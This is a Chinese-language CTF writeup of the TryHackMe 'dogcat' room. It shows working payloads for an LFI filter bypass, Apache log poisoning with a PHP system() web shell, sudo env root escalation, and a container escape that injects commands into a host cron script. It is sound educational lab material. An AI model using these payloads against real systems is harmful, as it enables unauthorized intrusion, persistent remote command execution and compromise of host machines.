> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe dogcat writeup (zh-TW)
- URL: https://taiwanding.com/tryhackme-dogcat-writeup-zh-tw/
- Published: 2025-10-13T08:48:11.000Z
- Updated: 2026-07-15T02:49:58.000Z
- Author: Kevin Chen
- Tags: tryhackme, #docker, CTF

## 題目資訊

- **平台**: TryHackMe
- **房間名稱**: dogcat
- **難度**: Medium
- **目標**: 獲取 4 個 Flag
- **連結**: [https://tryhackme.com/room/dogcat](https://tryhackme.com/room/dogcat?ref=taiwanding.com)
- 備註: 這一個靶機，作者有跟Claude AI深入討論容器逃逸的漏洞，也一併補充在writeup內，希望可以幫助理解，因為也是作者第一次碰到容器逃逸的靶機!

## 偵察階段

### 初始訪問

訪問網站 `http://10.201.126.43/`，發現一個簡單的狗貓圖片展示網站：

```html
<h1>dogcat</h1>
<i>a gallery of various dogs or cats</i>
<a href="/?view=dog"><button>A dog</button></a>
<a href="/?view=cat"><button>A cat</button></a>

```

### Step 1: 發現 Local File Inclusion (LFI) 漏洞

1.1 測試基本 LFI  
嘗試基本的路徑遍歷：

```
/?view=../../../../etc/passwd

```

**結果**：`Sorry, only dogs or cats are allowed.`

**分析**：存在過濾機制，必須包含 "dog" 或 "cat" 字串

1.2 利用錯誤訊息偵察  
嘗試觸發錯誤訊息：

```
/?view=dog'

```

**錯誤訊息**：

```
Warning: include(dog'.php): failed to open stream: No such file or directory 
in /var/www/html/index.php on line 24

```

**關鍵發現**：

1. 後端使用 `include()` 函數
2. 自動添加 `.php` 擴展名
3. 文件位於 `/var/www/html/index.php`

### Step 2: 多層過濾繞過

2.1 繞過關鍵字檢查  
**嘗試 1：路徑遍歷 + 保留關鍵字**

```
/?view=dog/../../../../../etc/passwd

```

**結果**：

```
Warning: include(dog/../../../../../etc/passwd.php): failed to open stream

```

✅ 成功繞過 "dog/cat" 檢查  
❌ 但仍被加上 `.php` 擴展名

2.2 繞過 .php 擴展名限制  
**嘗試 2：使用 PHP Filter 讀取源碼**

```
/?view=php://filter/convert.base64-encode/resource=dog/../index

```

成功!返回 base64 編碼的源碼

**解碼後得到核心代碼**：

```php
<?php
function containsStr($str, $substr) {
    return strpos($str, $substr) !== false;
}

// 關鍵：ext 參數可控！
$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';

if(isset($_GET['view'])) {
    if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
        echo 'Here you go!';
        include $_GET['view'] . $ext;
    } else {
        echo 'Sorry, only dogs or cats are allowed.';
    }
}
?>

```

**重大發現**：`ext` 參數可以覆蓋默認的 `.php` 擴展名！

2.3 完整繞過 - 讀取任意文件  
**最終 Payload**：

```
/?view=dog/../../../../../etc/passwd&ext=

```

設置 `ext=` 為空字串，就不會添加 `.php` 了！

**成功讀取** `/etc/passwd`：

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

```

### Step 3: Log Poisoning 攻擊

3.1 讀取 Apache 日誌

```
/?view=dog/../../../../../var/log/apache2/access.log&ext=

```

成功！看到日誌內容，包含所有 HTTP 請求記錄

3.2 日誌投毒 - 注入 PHP 代碼  
**原理**：Apache 日誌會記錄 User-Agent，我們可以在 User-Agent 中注入 PHP 代碼

**在本地使用 curl 注入**：

```bash
curl "http://10.201.126.43/" -A "<?php system(\$_GET['cmd']); ?>"

```

**檢查日誌**：

```
/?view=dog/../../../../../var/log/apache2/access.log&ext=

```

會看到我們的 PHP 代碼被記錄在日誌中！

3.3 測試命令執行

```
/?view=dog/../../../../../var/log/apache2/access.log&ext=&cmd=id

```

**輸出**：`uid=33(www-data) gid=33(www-data) groups=33(www-data)`

**RCE 成功！** ✅

### Step 4: 建立持久 Web Shell

4.1 創建 Shell 文件  
為了方便操作，創建一個持久的 web shell：

```
/?view=dog/../../../../../var/log/apache2/access.log&ext=&cmd=echo '<?php system($_GET["c"]); ?>' > /var/www/html/shell.php

```

4.2 使用 Web Shell  
現在可以直接訪問：

```
http://10.201.126.43/shell.php?c=whoami
http://10.201.126.43/shell.php?c=ls -la /var/www/html

```

**更方便的命令執行方式！**

### Step 5: 獲取 Flag 1

建立 web shell 後，列出網站目錄：

```
http://10.201.126.43/shell.php?c=ls -la /var/www/html
```

**發現**：

```
-rw-r--r-- 1 www-data www-data 51 Mar 6 2020 flag.php
```

**讀取 flag.php**：

```
http://10.201.126.43/shell.php?c=cat /var/www/html/flag.php
```

**Flag 1**: `THM{Redacted}` ✅

![](https://taiwanding.com/content/images/2025/10/image-4.png)

### Step 6: 獲取 Flag 2

搜尋 flag 文件

```
http://10.201.126.43/shell.php?c=find /var/www -name "*flag*"

```

**找到**：`/var/www/flag2_QMW7JvaY2LvK.txt`

**讀取**：

```
http://10.201.126.43/shell.php?c=cat /var/www/flag2_QMW7JvaY2LvK.txt

```

**Flag 2**: `THM{Redacted}` ✅

### Step 7: 提權到容器內的 Root

7.1 檢查 Sudo 權限

```
http://10.201.126.43/shell.php?c=sudo -l

```

**輸出**：

```
Matching Defaults entries for www-data on ad9cebb53160:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on ad9cebb53160:
    (root) NOPASSWD: /usr/bin/env

```

**重大發現**：可以無密碼執行 `/usr/bin/env`！

7.2 利用 env 提權  
`/usr/bin/env` 可以用來執行任意命令，且以 root 身份執行！

參考：[GTFOBins - env](https://gtfobins.github.io/gtfobins/env/?ref=taiwanding.com)

**測試提權**：

```
http://10.201.126.43/shell.php?c=sudo /usr/bin/env /bin/bash -c 'whoami'

```

**輸出**：`root` ✅

**現在所有命令都可以用 root 執行了！**

7.3 獲取 Flag 3

```
http://10.201.126.43/shell.php?c=sudo /usr/bin/env /bin/bash -c 'ls -la /root'
http://10.201.126.43/shell.php?c=sudo /usr/bin/env /bin/bash -c 'cat /root/flag3.txt'

```

**Flag 3**: `THM{Redacted}` ✅

### Step 8: 容器逃逸 - 理解環境

8.1 確認在 Docker 容器內

```
http://10.201.126.43/shell.php?c=ls -la /

```

**發現**：`.dockerenv` 文件存在

```
http://10.201.126.43/shell.php?c=hostname

```

**輸出**：`ad9cebb53160`（典型的容器 ID 格式）

**確認**：我們在 Docker 容器內！

### 8.2 什麼是容器？

#### 容器 vs 虛擬機對比

```
虛擬機架構：
┌─────────────────────────────────────────────────┐
│  應用 A  │  應用 B  │  應用 C                    │
│─────────│─────────│─────────                   │
│ Guest OS│ Guest OS│ Guest OS (完整作業系統 x3)  │
├─────────────────────────────────────────────────┤
│        Hypervisor (VMware, VirtualBox)          │
├─────────────────────────────────────────────────┤
│        Host OS (宿主作業系統)                    │
└─────────────────────────────────────────────────┘

容器架構：
┌─────────────────────────────────────────────────┐
│  應用 A  │  應用 B  │  應用 C (只有應用層)       │
├─────────────────────────────────────────────────┤
│        Docker Engine (容器引擎)                 │
├─────────────────────────────────────────────────┤
│        Host OS (宿主作業系統) ← 共用核心！      │
└─────────────────────────────────────────────────┘

```

**關鍵差異**：

- 虛擬機：每個都有完整的 OS，完全隔離
- 容器：共用宿主機的核心（Kernel），只是**進程隔離**

8.3 容器的隔離機制  
Docker 使用兩個 Linux 功能來實現隔離：

#### 1\. Namespaces（命名空間）

讓每個容器覺得自己是獨立的系統

#### 2\. Cgroups（控制組）

限制容器能用的資源

**但本質上**：容器只是宿主機上的一個**特殊進程**！

8.4 什麼是容器逃逸？  
**定義**：從容器內突破隔離，獲取宿主機的控制權

```
正常情況：
┌────────────────────────────────────┐
│         宿主機 (Host)               │
│                                    │
│  ┌──────────────────────────┐     │
│  │  容器 (Container)         │     │
│  │                          │     │
│  │  你在這裡 (容器的 root)   │     │
│  │  ✗ 無法訪問宿主機         │     │
│  │                          │     │
│  └──────────────────────────┘     │
│                                    │
│  真正的 root、flag4 在這裡！       │
└────────────────────────────────────┘

容器逃逸後：
┌────────────────────────────────────┐
│         宿主機 (Host)               │
│                                    │
│  ✓ 你逃出來了！                     │
│  ✓ 可以訪問宿主機了！               │
│  ✓ 可以讀 /root/flag4.txt 了！     │
└────────────────────────────────────┘

```

### Step 9: 全面環境偵察

在嘗試逃逸前，我們需要全面評估有哪些可能的逃逸向量。

9.1 檢查特權容器

```
http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /proc/self/status | grep CapEff

```

**輸出**：`CapEff: 00000000a80425fb`

**分析**：

- 特權容器的值應該是 `0000003fffffffff`
- 我們的值不同 → **不是特權容器** ❌

9.2 檢查 Docker Socket

```
http://10.201.126.43/shell.php?c=sudo /usr/bin/env ls -la /var/run/docker.sock

```

**結果**：文件不存在 → **沒有 Docker Socket** ❌

9.3 檢查核心版本

```
http://10.201.126.43/shell.php?c=uname -r

```

**輸出**：`4.15.0-96-generic`

**分析**：

- Ubuntu 18.04 的核心
- 版本 > 4.8.3 → Dirty COW 漏洞不適用 ❌

9.4 檢查詳細 Capabilities

```
http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /proc/self/status

```

**分析結果**：

```
CapEff: 00000000a80425fb

解碼後有的能力：
- CAP_CHOWN
- CAP_DAC_OVERRIDE
- CAP_FOWNER
- CAP_SETGID / CAP_SETUID
- CAP_NET_BIND_SERVICE
... (Docker 默認集合)

沒有的危險能力：
❌ CAP_SYS_ADMIN (無法做 cgroup 逃逸)
❌ CAP_SYS_MODULE (無法載入核心模組)
❌ CAP_SYS_PTRACE (無法追蹤進程)

```

9.5 檢查掛載點

```
http://10.201.126.43/shell.php?c=sudo /usr/bin/env mount | grep -v "proc\|sys\|dev"

```

**發現**：

```
overlay on / type overlay (rw,relatime,lowerdir=/var/lib/docker/overlay2/...)

```

**分析**：標準的 Docker overlay 文件系統

9.6 偵察總結

```
╔════════════════════════════════════════════╗
║    Container Escape Assessment Report     ║
╠════════════════════════════════════════════╣
║ 特權容器 (Privileged)      │ ❌ 不是      ║
║ Docker Socket 掛載         │ ❌ 沒有      ║
║ CAP_SYS_ADMIN             │ ❌ 沒有      ║
║ CAP_SYS_MODULE            │ ❌ 沒有      ║
║ 核心漏洞 (Dirty COW)       │ ❌ 版本太新   ║
║ Volume Mount              │ ？待確認     ║
╠════════════════════════════════════════════╣
║ 結論：這是一個配置良好的容器               ║
║ 需要尋找其他逃逸路徑                      ║
╚════════════════════════════════════════════╝

```

### Step 10: 發現容器逃逸點

10.1 檢查可疑目錄

```
http://10.201.126.43/shell.php?c=sudo /usr/bin/env ls -la /opt

```

**發現**：

```
drwxr-xr-x 2 root root 4096 Apr 8 2020 backups

```

**疑問**：在最小化的容器中，`/opt/backups` 很不尋常！

10.2 檢查 backups 目錄

```
http://10.201.126.43/shell.php?c=sudo /usr/bin/env ls -la /opt/backups

```

**輸出**：

```
total 2892
drwxr-xr-x 2 root root    4096 Apr  8  2020 .
drwxr-xr-x 1 root root    4096 Oct 13 07:17 ..
-rwxr--r-- 1 root root      69 Mar 10  2020 backup.sh
-rw-r--r-- 1 root root 2949120 Oct 13 07:42 backup.tar

```

**關鍵觀察**：

- `backup.tar` 的時間是 `07:42`
- 容器啟動時間是 `07:17`
- **說明有什麼在持續更新這個文件！**

10.3 分析 backup.sh

```
http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /opt/backups/backup.sh

```

**內容**：

```bash
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container

```

**重要發現**：

- 腳本在容器內：`/opt/backups/backup.sh`
- 但目標路徑是：`/root/container/backup/backup.tar`
- 這個路徑在容器內不存在！

**推論**：這個腳本是被**宿主機執行**的！

### Step 11: 理解 Volume Mount 逃逸

11.1 Docker Volume Mount 原理  
**啟動容器時的命令**（推測）：

```bash
docker run -v /root/container/backup:/opt/backups ...
              ↑宿主機路徑          ↑容器內路徑

```

**效果**：兩個路徑指向**同一個物理位置**

```
宿主機的文件系統              容器的文件系統
──────────────────           ──────────────────
/root/                       /opt/
  └─ container/                └─ backups/  ← 映射到這裡
      └─ backup/  ───────────────────────┘
          ├─ backup.sh       (同一個文件)
          └─ backup.tar

```

11.2 宿主機的 Cron 任務  
宿主機上有個定時任務：

```bash
# /etc/crontab (在宿主機上)
* * * * * root /root/container/backup/backup.sh
         ↑                      ↑
      以 root         每分鐘執行一次
      身份執行

```

11.3 攻擊流程圖

```
┌─────────────────────────────────────────────────┐
│              容器 (Container)                    │
│                                                 │
│  1. 我們修改 backup.sh                          │
│     echo "惡意命令" >> /opt/backups/backup.sh   │
│                                                 │
│     /opt/backups/backup.sh                      │
│          │                                      │
│          │ (Docker Volume Mount)                │
│          ↓                                      │
└─────────────────────────────────────────────────┘
           │
           │ 同一個文件
           ↓
┌─────────────────────────────────────────────────┐
│              宿主機 (Host)                       │
│                                                 │
│     /root/container/backup/backup.sh            │
│          │                                      │
│          │ 2. Cron 定期執行這個腳本             │
│          ↓                                      │
│     以宿主機的 root 權限執行！                   │
│          │                                      │
│          │ 3. 我們注入的命令被執行              │
│          ↓                                      │
│     cat /root/flag4.txt > /root/.../flag4.txt   │
│          │                                      │
│          │ (Docker Volume Mount)                │
│          ↓                                      │
└─────────────────────────────────────────────────┘
           │
           │ 同一個文件
           ↓
┌─────────────────────────────────────────────────┐
│              容器 (Container)                    │
│                                                 │
│  4. 我們讀取結果                                │
│     cat /opt/backups/flag4.txt                  │
│                                                 │
│  容器逃逸成功！                                  │
└─────────────────────────────────────────────────┘

```

### Step 12: 執行容器逃逸

12.1 探測宿主機環境  
**注入命令到腳本**：

```
http://10.201.126.43/shell.php?c=sudo /usr/bin/env bash -c 'echo "ls -la /root > /root/container/backup/host_root.txt" >> /opt/backups/backup.sh'

```

**確認修改**：

```
http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /opt/backups/backup.sh

```

**新內容**：

```bash
#!/bin/bash
tar cf /root/container/backup/backup.tar /root/container
ls -la /root > /root/container/backup/host_root.txt

```

12.2 等待 Cron 執行  
等待 **1-2 分鐘**（宿主機 cron 通常每分鐘執行一次）

12.3 讀取宿主機信息

```
http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /opt/backups/host_root.txt

```

**成功輸出**（宿主機的 /root 目錄）：

```
total 40
drwx------ 6 root root 4096 Apr  8  2020 .
drwxr-xr-x 24 root root 4096 Apr  8  2020 ..
-rw-r--r-- 1 root root 3106 Apr  9  2018 .bashrc
drwxr-xr-x 5 root root 4096 Mar 10  2020 container
-rw-r--r-- 1 root root   80 Mar 10  2020 flag4.txt    ← 找到了！
...

```

**容器逃逸成功！我們能讀取宿主機的文件了！** ✅

12.4 獲取最終 Flag  
**修改腳本讀取 flag4**：

```
http://10.201.126.43/shell.php?c=sudo /usr/bin/env bash -c 'echo "cat /root/flag4.txt > /root/container/backup/flag4_content.txt" >> /opt/backups/backup.sh'

```

**等待執行後讀取**：

```
http://10.201.126.43/shell.php?c=sudo /usr/bin/env cat /opt/backups/flag4_content.txt

```

**Flag 4**: `THM{Redacted}` ✅

## 技術要點深入解析

### 1\. Local File Inclusion (LFI) 漏洞

#### 漏洞原理

```php
// 不安全的代碼
include $_GET['file'] . '.php';

// 攻擊者可以：
// 1. 路徑遍歷：?file=../../../etc/passwd
// 2. 使用 wrapper：?file=php://filter/...

```

### 2\. Log Poisoning 攻擊

#### 攻擊流程

```
1. LFI 讀取日誌文件
   ↓
2. 在日誌中注入 PHP 代碼
   (通過 User-Agent, Referrer, Cookie 等)
   ↓
3. 再次包含日誌文件
   ↓
4. PHP 代碼被執行 → RCE

```

#### 常見日誌位置

```bash
# Apache
/var/log/apache2/access.log
/var/log/apache2/error.log

# Nginx  
/var/log/nginx/access.log
/var/log/nginx/error.log

# SSH
/var/log/auth.log

# Mail
/var/log/mail.log

```

### 3\. Sudo 提權 - /usr/bin/env

#### 為什麼危險？

`/usr/bin/env` 的設計目的是執行命令：

```bash
env VARIABLE=value command args

```

當有 sudo 權限時：

```bash
sudo /usr/bin/env /bin/bash
# 直接獲得 root shell！

```

### 4\. 容器逃逸技術

#### Volume Mount 逃逸（本題方法）

**場景**：

```bash
# 容器啟動時
docker run -v /host/path:/container/path ...

```

**條件**：

1. 宿主機有定時任務執行掛載目錄中的腳本
2. 容器內可以修改該腳本

**利用**：

1. 修改共享腳本
2. 等待宿主機執行
3. 命令在宿主機執行

**優點**：不需要特殊權限  
**缺點**：需要等待定時任務觸發

## 經驗分享

### 這個靶機教學價值在於：

1. **漸進式攻擊**：從 Web → RCE → 提權 → 逃逸
2. **概念理解**：理解容器不是虛擬機
3. **真實場景**：Volume Mount 是常見的錯誤配置

##